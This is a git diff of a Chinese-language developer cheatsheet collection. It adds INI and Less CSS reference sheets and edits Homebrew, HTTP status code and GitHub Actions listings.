<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
[`create-tag-action`](https://github.com/jaywcjlove/create-tag-action) | 根据 package.json 创建 `Tag` / `Release`
|
||||
[`changelog-generator`](https://github.com/jaywcjlove/changelog-generator) | 生成 `changelog` 日志
|
||||
[`github-action-modify-file-content`](https://github.com/jaywcjlove/github-action-modify-file-content) | 修改仓库文件内容
|
||||
[`github-action-contributors`](https://github.com/jaywcjlove/github-action-contributors) | 生成贡献(contributors.svg)图片
|
||||
[`generated-badges`](https://github.com/jaywcjlove/generated-badges) | 生成徽章(Badges)图片
|
||||
[`coverage-badges-cli`](https://github.com/jaywcjlove/coverage-badges-cli) | 生成覆盖率徽章(Badges)图片
|
||||
[`action-ejs`](https://github.com/jaywcjlove/action-ejs) | 基于 ejs 生成 HTML
|
||||
[`github-action-package`](https://github.com/jaywcjlove/github-action-package) | 修改 JSON 文件内容
|
||||
[`markdown-to-html-cli`](https://github.com/jaywcjlove/markdown-to-html-cli) | Markdown 转换成 HTML
|
||||
[`ncipollo/release-action`](https://github.com/ncipollo/release-action) | 创建 `Release`
|
||||
[`peaceiris/actions-gh-pages`](https://github.com/peaceiris/actions-gh-pages) | 将文件或文件夹内容提交到 `gh-pages` 分支
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
|
||||
@ -38,6 +38,7 @@ export HOMEBREW_INSTALL_FROM_API=1
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew install git` | `安装`一个包
|
||||
`brew reinstall git` | 重新`安装`一个包
|
||||
`brew uninstall git` | `删除`/`卸载`软件包
|
||||
`brew upgrade git` | 升级包
|
||||
:--- :---
|
||||
@ -46,9 +47,6 @@ export HOMEBREW_INSTALL_FROM_API=1
|
||||
`brew switch git 2.5.0` | 更改版本
|
||||
:--- :---
|
||||
`brew list --versions git` | 看看你有什么版本
|
||||
:--- :---
|
||||
`brew help` | 打印帮助信息
|
||||
`brew help <sub-command>` | 打印子命令的帮助信息
|
||||
|
||||
### 更多包命令
|
||||
|
||||
@ -119,6 +117,13 @@ $ brew search <text>
|
||||
$ brew info <formula>
|
||||
```
|
||||
|
||||
### 帮助命令
|
||||
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew help` | 打印帮助信息
|
||||
`brew help <sub-command>` | 打印子命令的帮助信息
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
|
||||
@ -8,11 +8,11 @@ HTTP 状态码
|
||||
|
||||
### Means
|
||||
|
||||
- [1xx: Informational](#1xx-information) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
|
||||
- [2xx: Success](#2xx-successful) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
|
||||
- [3xx: Redirection](#3xx-redirection) _这意味着必须采取进一步行动才能完成请求_<!--rehype:tooltips-->
|
||||
- [4xx: Client Error](#4xx-client-error) _这意味着请求包含不正确的语法或无法完成_<!--rehype:tooltips-->
|
||||
- [5xx: Server Error](#5xx-server-error) _这意味着服务器未能满足明显有效的请求_<!--rehype:tooltips-->
|
||||
- [1xx: Informational](#1xx-信息) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
|
||||
- [2xx: Success](#2xx-成功的) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
|
||||
- [3xx: Redirection](#3xx-重定向) _这意味着必须采取进一步行动才能完成请求_<!--rehype:tooltips-->
|
||||
- [4xx: Client Error](#4xx-客户端错误) _这意味着请求包含不正确的语法或无法完成_<!--rehype:tooltips-->
|
||||
- [5xx: Server Error](#5xx-服务器错误) _这意味着服务器未能满足明显有效的请求_<!--rehype:tooltips-->
|
||||
|
||||
### 2xx. 成功的
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
@ -58,8 +58,8 @@ HTTP 状态码
|
||||
### 3xx. 重定向
|
||||
|
||||
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
|
||||
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url _<!--rehype:tooltips-->
|
||||
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url _<!--rehype:tooltips-->
|
||||
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
|
||||
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
|
||||
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
|
||||
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码，其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
|
||||
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
|
||||
@ -128,4 +128,4 @@ HTTP 状态码
|
||||
- [List of FTP server return codes](https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes) _(wikipedia.org)_
|
||||
- [HTTP概述](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Overview) _(mozilla.org)_
|
||||
- [Help for HTTP error 403: “Forbidden”](http://www.getnetgoing.com/HTTP-403.html) _(getnetgoing.com)_
|
||||
- [实用的 RESTful API 最佳实践](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) _(vinaysahni.com)_
|
||||
- [实用的 RESTful API 最佳实践](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) _(vinaysahni.com)_
|
||||
|
||||
185
docs/ini.md
Normal file
185
docs/ini.md
Normal file
@ -0,0 +1,185 @@
|
||||
INI 备忘清单
|
||||
====
|
||||
|
||||
这是理解和编写 INI 格式配置文件的快速参考备忘单，此清单包含配置的内容，结构和语法等内容。
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
|
||||
INI 是一种固定标准格式的配置文件，INI配置方法来自 MS-DOS 操作系统
|
||||
|
||||
```ini
|
||||
; 这里是注释
|
||||
[owner]
|
||||
name=John Doe
|
||||
organization=Acme Products
|
||||
|
||||
[database]
|
||||
; 这里是注释
|
||||
server=192.0.2.42
|
||||
port=143
|
||||
file="acme payroll.dat"
|
||||
```
|
||||
|
||||
现在已成为许多配置的非正式标准，其它操作系统可能使用 `.conf` 或 `.cfg` 作为后缀
|
||||
|
||||
### 稳定的特性
|
||||
|
||||
- 基本元素是键或属性
|
||||
- 每个键由`名称`和`值`构成，等号 (=) 分隔
|
||||
- `键名称`显示在等号的`左侧`
|
||||
- `等号`和`分号`是`保留`字符
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
```ini
|
||||
name = value
|
||||
```
|
||||
|
||||
与下面👇 JSON 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"name": "value"
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
注释 (`;`)
|
||||
|
||||
```ini
|
||||
; 这里是注释文本，将被忽略
|
||||
```
|
||||
|
||||
注释 (`#`)
|
||||
|
||||
```ini
|
||||
# 这里是注释文本，⚠️ 部分编译器支持
|
||||
```
|
||||
|
||||
一行之后的注释 (`;`,`#`) _(不标准)_
|
||||
|
||||
```ini
|
||||
var = a ; 这是一个内联注释
|
||||
foo = bar # 这是另一个内联注释
|
||||
```
|
||||
|
||||
在某些情况下注释必须单独出现在行上
|
||||
|
||||
### 部分(Sections)
|
||||
|
||||
- 名称单独出现在一行中
|
||||
- 名称在方括号 `[` 和 `]` 中
|
||||
- 没有明确的 `section 结束` 分隔符
|
||||
- 在下一个 `section` 声明处或文件末尾处结束
|
||||
- 部分和属性名称不区分大小写
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
```ini
|
||||
[section]
|
||||
key1 = a
|
||||
key2 = b
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```json
|
||||
{
|
||||
"section": {
|
||||
"key1": "a",
|
||||
"key2": "b"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(部分解析器支持)
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
|
||||
[section.subsection]
|
||||
foo = bar
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"section": {
|
||||
"domain": "jaywcjlove.github.io"
|
||||
"subsection": {
|
||||
"foo": "bar"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
嵌套到上一节(简写)
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
[.subsection]
|
||||
foo = bar
|
||||
```
|
||||
|
||||
### 转义字符
|
||||
|
||||
序列 | 意思
|
||||
:- | :-
|
||||
`\\` | \ (单个反斜杠，转义转义字符)
|
||||
`\'` | 撇号
|
||||
`\"` | 双引号
|
||||
`\0` | 空字符
|
||||
`\a` | 铃声/警报/声音
|
||||
`\b` | 退格键，某些应用程序的[贝尔字符](https://en.wikipedia.org/wiki/Bell_character)
|
||||
`\t` | 制表符
|
||||
`\r` | 回车
|
||||
`\n` | 换行
|
||||
`\;` | 分号
|
||||
`\#` | 数字符号
|
||||
`\=` | 等号
|
||||
`\:` | 冒号
|
||||
`\x????` | 十六进制代码点的 Unicode 字符对应于 ????
|
||||
|
||||
### 数组
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
array[]=first value
|
||||
array[]=second value
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"section": {
|
||||
"domain": "jaywcjlove.github.io",
|
||||
"array": [
|
||||
"first value", "second value"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 解释器
|
||||
|
||||
- [@go-ini/ini](https://github.com/go-ini/ini) _(golang)_
|
||||
- [@npm/ini](https://www.npmjs.com/package/ini) _(nodejs)_
|
||||
- [@zonyitoo/rust-ini](https://github.com/zonyitoo/rust-inii) _(rust)_
|
||||
- [@rxi/ini](https://www.npmjs.com/package/ini) _(c)_
|
||||
- [@pulzed/mINI](https://github.com/pulzed/mINI) _(c++)_
|
||||
- [@rickyah/ini-parser](https://github.com/rickyah/ini-parser) _(c#)_
|
||||
- [@Enichan/Ini](https://github.com/Enichan/Ini) _(c#)_
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
|
||||
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
|
||||
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
|
||||
719
docs/lessjs.md
Normal file
719
docs/lessjs.md
Normal file
@ -0,0 +1,719 @@
|
||||
Less 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [Less](https://github.com/less/less.js) 所涉及的主要概念，显示了它的常用方法使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
Less(Leaner Style Sheets 的缩写)是一门向后兼容的 [`CSS`](./css.md) 扩展语言
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
|
||||
|
||||
在 Node.js 环境中使用 `Less`
|
||||
|
||||
```bash
|
||||
$ npm install -g less
|
||||
$ lessc styles.less styles.css
|
||||
```
|
||||
|
||||
在浏览器环境中使用 `Less`
|
||||
|
||||
```html
|
||||
<link rel="stylesheet/less" type="text/css" href="styles.less" />
|
||||
<script src="https://cdn.jsdelivr.net/npm/less@4" ></script>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 变量(Variables)
|
||||
|
||||
```less
|
||||
@width: 10px;
|
||||
@height: @width + 10px;
|
||||
|
||||
#header {
|
||||
width: @width;
|
||||
height: @height;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
#header {
|
||||
width: 10px;
|
||||
height: 20px;
|
||||
}
|
||||
```
|
||||
|
||||
另见: [变量的更多信息](https://lesscss.org/features/#variables-feature)
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```less {1,8,13}
|
||||
.bordered {
|
||||
border-top: dotted 1px black;
|
||||
border-bottom: solid 2px black;
|
||||
}
|
||||
|
||||
#menu a {
|
||||
color: #111;
|
||||
.bordered();
|
||||
}
|
||||
|
||||
.post a {
|
||||
color: red;
|
||||
.bordered();
|
||||
}
|
||||
```
|
||||
|
||||
另见: [混合(Mixin)的更多信息](https://lesscss.org/features/#mixins-feature)
|
||||
|
||||
|
||||
### 嵌套(Nesting)
|
||||
|
||||
```css
|
||||
#header {
|
||||
color: black;
|
||||
}
|
||||
#header .navigation {
|
||||
font-size: 12px;
|
||||
}
|
||||
#header .logo {
|
||||
width: 300px;
|
||||
}
|
||||
```
|
||||
|
||||
👇👇 更改为 less 的写法 ✅ 👇👇
|
||||
|
||||
```less
|
||||
#header {
|
||||
color: black;
|
||||
.navigation {
|
||||
font-size: 12px;
|
||||
}
|
||||
.logo {
|
||||
width: 300px;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 父选择器 &
|
||||
|
||||
```less
|
||||
.button {
|
||||
color: blue;
|
||||
&-ok {
|
||||
background-image: url("ok.png");
|
||||
}
|
||||
&:hover {
|
||||
color: green;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.button {
|
||||
color: blue;
|
||||
}
|
||||
.button-ok {
|
||||
background-image: url("ok.png");
|
||||
}
|
||||
.button:hover {
|
||||
color: green;
|
||||
}
|
||||
```
|
||||
|
||||
### @规则嵌套和冒泡
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
.component {
|
||||
width: 300px;
|
||||
@media (min-width: 768px) {
|
||||
width: 600px;
|
||||
@media (min-resolution: 192dpi) {
|
||||
background-image: url(/img/icon2x.png);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
width: 800px;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.component {
|
||||
width: 300px;
|
||||
}
|
||||
@media (min-width: 768px) {
|
||||
.component {
|
||||
width: 600px;
|
||||
}
|
||||
}
|
||||
@media (min-width: 768px) and (min-resolution: 192dpi) {
|
||||
.component {
|
||||
background-image: url(/img/icon2x.png);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
.component {
|
||||
width: 800px;
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 运算(Operations)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
算术运算符 `+`、`-`、`*`、`/` 对任何数字、颜色或变量进行运算
|
||||
|
||||
```less
|
||||
@conversion-1: 5cm + 10mm; // 结果是 6cm
|
||||
@conversion-2: 2 - 3cm - 5mm; // 结果 -1.5cm
|
||||
@incompatible-units: 2 + 5px - 3cm;
|
||||
// 结果是 4px
|
||||
@base: 5%;
|
||||
@filler: @base * 2; // 结果是 10%
|
||||
@other: @base + @filler; // 结果是 15%
|
||||
|
||||
@base: 2cm * 3mm; // 结果是 6cm
|
||||
@color: (#224488 / 2); // 结果是 #112244
|
||||
background-color: #112244 + #111;
|
||||
// 结果是 #223355
|
||||
@color: #222 / 2;
|
||||
// 结果是 `#222 / 2`, not #111
|
||||
background-color: (#FFFFFF / 16);
|
||||
// 结果是 #101010
|
||||
```
|
||||
|
||||
#### calc() 特例
|
||||
|
||||
为了与 `CSS` 保持兼容，`calc()` 并不对数学表达式进行计算，但是在嵌套函数中会计算变量和数学公式的值
|
||||
|
||||
```less
|
||||
@var: 50vh/2;
|
||||
width: calc(50% + (@var - 20px));
|
||||
// 结果是 calc(50% + (25vh - 20px))
|
||||
```
|
||||
|
||||
### 转义(Escaping)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
@min768: ~"(min-width: 768px)";
|
||||
.element {
|
||||
@media @min768 {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
@media (min-width: 768px) {
|
||||
.element {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
从 Less 3.5 开始，可以简写为
|
||||
|
||||
```less
|
||||
@min768: (min-width: 768px);
|
||||
.element {
|
||||
@media @min768 {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在 Less 3.5+ 版本中，许多以前需要“引号转义”的情况就不再需要了
|
||||
|
||||
### 函数(Functions)
|
||||
|
||||
```less
|
||||
@base: #f04615;
|
||||
@width: 0.5;
|
||||
|
||||
.class {
|
||||
width: percentage(@width); // 返回 `50%`
|
||||
color: saturate(@base, 5%);
|
||||
background-color:
|
||||
spin(lighten(@base, 25%), 8);
|
||||
}
|
||||
```
|
||||
|
||||
Less 内置了多种函数用于转换颜色、处理字符串、算术运算等
|
||||
|
||||
### 命名空间和访问符
|
||||
|
||||
```less
|
||||
#bundle() {
|
||||
.button {
|
||||
display: block;
|
||||
border: 1px solid black;
|
||||
background-color: grey;
|
||||
&:hover {
|
||||
background-color: white;
|
||||
}
|
||||
}
|
||||
.tab { ... }
|
||||
.citation { ... }
|
||||
}
|
||||
```
|
||||
|
||||
把 `.button` 类混合到 `#header a` 中，我们可以这样做
|
||||
|
||||
```less
|
||||
#header a {
|
||||
color: orange;
|
||||
#bundle.button();
|
||||
// 还可以书写为 #bundle > .button 形式
|
||||
}
|
||||
```
|
||||
|
||||
### 映射(Maps)
|
||||
|
||||
```less
|
||||
#colors() {
|
||||
primary: blue;
|
||||
secondary: green;
|
||||
}
|
||||
|
||||
.button {
|
||||
color: #colors[primary];
|
||||
border: 1px solid #colors[secondary];
|
||||
}
|
||||
```
|
||||
|
||||
输出符合预期(css)：
|
||||
|
||||
```css
|
||||
.button {
|
||||
color: blue;
|
||||
border: 1px solid green;
|
||||
}
|
||||
```
|
||||
|
||||
另见：[映射(Maps)](https://lesscss.org/features/#maps-feature)
|
||||
|
||||
### 作用域（Scope）
|
||||
|
||||
```less
|
||||
@var: red;
|
||||
|
||||
#page {
|
||||
@var: white;
|
||||
#header {
|
||||
color: @var; // white
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
和上面实例代码相同
|
||||
|
||||
```less
|
||||
@var: red;
|
||||
|
||||
#page {
|
||||
#header {
|
||||
color: @var; // white
|
||||
}
|
||||
@var: white;
|
||||
}
|
||||
```
|
||||
|
||||
另见：[懒加载](https://lesscss.org/features/#variables-feature-lazy-loading)
|
||||
|
||||
### 注释（Comments）
|
||||
|
||||
```less
|
||||
/* 一个块注释
|
||||
* style comment! */
|
||||
@var: red;
|
||||
|
||||
// 这一行被注释掉了！
|
||||
@var: white;
|
||||
```
|
||||
|
||||
块注释和行注释都可以使用
|
||||
|
||||
### 导入（Importing）
|
||||
|
||||
```less
|
||||
@import "library"; // library.less
|
||||
@import "typo.css";
|
||||
```
|
||||
|
||||
另见：[导入(Importing)的知识](https://lesscss.org/features/#imports-feature)
|
||||
|
||||
### Extend
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
nav ul {
|
||||
&:extend(.inline);
|
||||
background: blue;
|
||||
}
|
||||
.inline {
|
||||
color: red;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
nav ul {
|
||||
background: blue;
|
||||
}
|
||||
.inline,
|
||||
nav ul {
|
||||
color: red;
|
||||
}
|
||||
```
|
||||
|
||||
函数
|
||||
---
|
||||
|
||||
### 逻辑函数 if & boolean
|
||||
|
||||
```less
|
||||
@bg: black;
|
||||
@bg-light: boolean(luma(@bg) > 50%);
|
||||
|
||||
div {
|
||||
background: @bg;
|
||||
color: if(@bg-light, black, white);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
div {
|
||||
background: black;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串函数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`escape` | 将 [URL 编码](http://en.wikipedia.org/wiki/Percent-encoding)应用于输入字符串中的特殊字符
|
||||
`e` | 字符串转义
|
||||
`%` | 第一个参数是带有占位符的字符串
|
||||
|
||||
```less
|
||||
escape('a=1') // 输出 a%3D1
|
||||
|
||||
@mscode: "ms:alwaysHasItsOwnSyntax.For.Stuff()"
|
||||
filter: e(@mscode);
|
||||
// 输出 filter: ms:alwaysHasItsOwnSyntax.For.Stuff();
|
||||
|
||||
format-a-d: %("repetitions: %a file: %d", 1 + 2, "directory/file.less");
|
||||
// 输出 format-a-d: "repetitions: 3 file: "directory/file.less"";
|
||||
```
|
||||
|
||||
### 替换字符串 replace
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```less
|
||||
replace("Hello, Mars?", "Mars\?", "Earth!");
|
||||
replace("One + one = 4", "one", "2", "gi");
|
||||
replace('This is a string.', "(string)\.$", "new $1.");
|
||||
replace(~"bar-1", '1', '2');
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```
|
||||
"Hello, Earth!";
|
||||
"2 + 2 = 4";
|
||||
'This is a new string.';
|
||||
bar-2;
|
||||
```
|
||||
|
||||
### length
|
||||
|
||||
```less
|
||||
@list: "banana", "tomato", "potato", "peach";
|
||||
n: length(@list);
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
n: 4;
|
||||
```
|
||||
|
||||
返回值列表中的元素数
|
||||
|
||||
### extract
|
||||
|
||||
```less
|
||||
@list: apple, pear, coconut, orange;
|
||||
value: extract(@list, 3);
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
value: coconut;
|
||||
```
|
||||
|
||||
返回列表中指定位置的值
|
||||
|
||||
### range
|
||||
|
||||
```less
|
||||
value: range(4);
|
||||
// 输出 value: 1 2 3 4;
|
||||
value: range(10px, 30px, 10);
|
||||
// 输出 value: 10px 20px 30px;
|
||||
```
|
||||
|
||||
生成跨越一系列值的列表
|
||||
|
||||
### each
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```less
|
||||
@selectors: blue, green, red;
|
||||
|
||||
each(@selectors, {
|
||||
.sel-@{value} {
|
||||
a: b;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.sel-blue {
|
||||
a: b;
|
||||
}
|
||||
.sel-green {
|
||||
a: b;
|
||||
}
|
||||
.sel-red {
|
||||
a: b;
|
||||
}
|
||||
```
|
||||
|
||||
每个列表成员的每个规则集都绑定到 `@value`、`@key` 和 `@index` 变量
|
||||
|
||||
```less
|
||||
@set: {
|
||||
one: blue;
|
||||
two: green;
|
||||
three: red;
|
||||
}
|
||||
.set {
|
||||
each(@set, {
|
||||
@{key}-@{index}: @value;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.set {
|
||||
one-1: blue;
|
||||
two-2: green;
|
||||
three-3: red;
|
||||
}
|
||||
```
|
||||
|
||||
将规则集的评估绑定到列表的每个成员
|
||||
|
||||
### each()
|
||||
|
||||
```less
|
||||
set-2() {
|
||||
one: blue;
|
||||
two: green;
|
||||
three: red;
|
||||
}
|
||||
.set-2 {
|
||||
// 调用 mixin 并迭代每个规则
|
||||
each(.set-2(), .(@v, @k, @i) {
|
||||
@{k}-@{i}: @v;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.set-2 {
|
||||
one-1: blue;
|
||||
two-2: green;
|
||||
three-3: red;
|
||||
}
|
||||
```
|
||||
|
||||
### 使用 `range` 和 `each` 创建一个 `for` 循环
|
||||
|
||||
```less
|
||||
each(range(4), {
|
||||
.col-@{value} {
|
||||
height: (@value * 50px);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.col-1 {
|
||||
height: 50px;
|
||||
}
|
||||
.col-2 {
|
||||
height: 100px;
|
||||
}
|
||||
.col-3 {
|
||||
height: 150px;
|
||||
}
|
||||
.col-4 {
|
||||
height: 200px;
|
||||
}
|
||||
```
|
||||
|
||||
### 数学函数
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`ceil(2.4)` _(输出 3)_ | 向上舍入到下一个最大整数 [#](https://lesscss.org/functions/#math-functions-ceil)
|
||||
`floor(2.6)` _(输出 2)_ | 向下舍入到下一个最小整数 [#](https://lesscss.org/functions/#math-functions-floor)
|
||||
`percentage(0.5)` _(输出 50%)_ | 将浮点数转换为百分比字符串 [#](https://lesscss.org/functions/#math-functions-floor)
|
||||
`round(1.67)` _(输出 2)_ | 应用舍入 [#](https://lesscss.org/functions/#math-functions-round)
|
||||
`sqrt(25cm)` _(输出 5cm)_ | 计算数字的平方根。保持单位不变 [#](https://lesscss.org/functions/#math-functions-sqrt)
|
||||
`abs(25cm)` _(输出 25cm)_ | 计算数字的绝对值。 保持单位不变 [#](https://lesscss.org/functions/#math-functions-abs)
|
||||
`sin(1deg)` _(输出 0.01745240643728351)_ | 计算正弦函数 [#](https://lesscss.org/functions/#math-functions-sin)
|
||||
`asin(-0.8414709848078965)` _(输出 -1rad)_ | 计算反正弦（正弦的倒数）函数 [#](https://lesscss.org/functions/#math-functions-asin)
|
||||
`cos(1deg)` _(输出 0.9998476951563913)_ | 计算余弦函数 [#](https://lesscss.org/functions/#math-functions-cos)
|
||||
`acos(0.5403023058681398)` _(输出 1rad)_ | 计算反余弦（余弦的倒数）函数 [#](https://lesscss.org/functions/#math-functions-acos)
|
||||
`tan(1deg)` _(输出 0.017455064928217585)_ | 计算正切函数 [#](https://lesscss.org/functions/#math-functions-tan)
|
||||
`atan(-1.5574077246549023)` _(输出 -1rad)_ | 计算反正切（正切的倒数）函数 [#](https://lesscss.org/functions/#math-functions-atan)
|
||||
`pi()` _(输出 3.141592653589793)_ | π (pi) [#](https://lesscss.org/functions/#math-functions-pi)
|
||||
`pow(0cm, 0px)` _(输出 1cm)_ | 返回第一个参数的第二个参数次幂的值 [#](https://lesscss.org/functions/#math-functions-pow)
|
||||
`mod(11cm, 6px)` _(输出 5cm)_ | 返回第一个参数模数第二个参数的值 [#](https://lesscss.org/functions/#math-functions-mod)
|
||||
`min(5, 10)` _(输出 5)_ | 返回一个或多个值中的最小值 [#](https://lesscss.org/functions/#math-functions-min)
|
||||
`max(5, 10)` _(输出 10)_ | 返回一个或多个值中的最大值 [#](https://lesscss.org/functions/#math-functions-min)
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### 颜色定义函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`rgb`| [#](https://lesscss.org/functions/#color-definition-rgb)
|
||||
`rgba`| [#](https://lesscss.org/functions/#color-definition-rgba)
|
||||
`argb`| [#](https://lesscss.org/functions/#color-definition-argb)
|
||||
`hsl`| [#](https://lesscss.org/functions/#color-definition-hsl)
|
||||
`hsla`| [#](https://lesscss.org/functions/#color-definition-hsla)
|
||||
`hsv`| [#](https://lesscss.org/functions/#color-definition-hsv)
|
||||
`hsva`| [#](https://lesscss.org/functions/#color-definition-hsva)
|
||||
|
||||
### 类型函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`isnumber`| 值是否为数字 [#](https://lesscss.org/functions/#type-functions-isnumber)
|
||||
`isstring`| 值是否为字符串 [#](https://lesscss.org/functions/#type-functions-isstring)
|
||||
`iscolor`| 值是否为颜色值 [#](https://lesscss.org/functions/#type-functions-iscolor)
|
||||
`iskeyword`| 值是否为 keyword [#](https://lesscss.org/functions/#type-functions-iskeyword)
|
||||
`isurl`| 值是否为 url 值 [#](https://lesscss.org/functions/#type-functions-isurl)
|
||||
`ispixel`| 值是否为像素值 [#](https://lesscss.org/functions/#type-functions-ispixel)
|
||||
`isem`| 值是否为 em 值 [#](https://lesscss.org/functions/#type-functions-isem)
|
||||
